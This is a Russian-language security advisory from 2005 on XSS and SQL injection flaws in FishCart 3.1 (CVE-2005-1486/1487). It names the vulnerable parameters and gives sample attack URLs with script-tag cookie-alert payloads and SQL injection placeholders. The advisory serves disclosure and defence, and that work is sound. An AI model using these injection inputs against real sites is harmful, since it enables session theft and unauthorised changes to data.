Межсайтовый скриптинг и SQL-инъекция в FishCart

Дата публикации:
10.05.2005
Всего просмотров:
849
Опасность:
Средняя
Наличие исправления:
Частично
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
CVE-2005-1486
CVE-2005-1487
Вектор эксплуатации:
Удаленная
Воздействие:
Межсайтовый скриптинг
Неавторизованное изменение данных
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
FishCart 3.x
Уязвимые версии: FishCart 3.1

Описание:
Уязвимости позволяют удаленному пользователю произвести XSS нападение и выполнить произвольные SQL команды в базе данных уязвимого приложения.

Уязвимость существует из-за недостаточной фильтрации входных данных в параметре nlst сценария display.php и параметры trackingnum, reqagree, и m сценария upstracking.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта. Примеры:

http://[target]/demo31/display.php?cartid=20050
5024231092&zid=1&lid=1&nlst='"><script>alert
(document.cook ie)</script>&

http://[target]/demo31/upstracking.php?trackingnum=
'"><script>alert(document.cookie)</script>&reqagree
=checked&m=

http://[target]/demo31/upstrack ing.php?trackingnum=
& reqagree='"><script>alert(document.cookie)</script>&m=

http://[target]/demo31/upstracking.php?trackingnum=
& reqagree=checked&m='"><script>alert(doc ument.
cookie)</script>

SQL-инъекция существует из-за недостаточной проверки входных данных в нескольких сценариях. Удаленный пользователь может выполнить произвольные SQL команды в базе данных приложения. Примеры:

http://[target]/demo31/display.php?cartid =
200505024231092&zid=1&lid=1&nlst=y&
olimit=0&cat=&key1=&psku='SQL_INJECTION

http://[target]/demo31/upstnt.php?zid=1&lid=1
& cartid='SQL_INJECTION

URL производителей: fishcart.org

Решение: Способов устранения уязвимости не существует в настоящее время.

или введите имя

CAPTCHA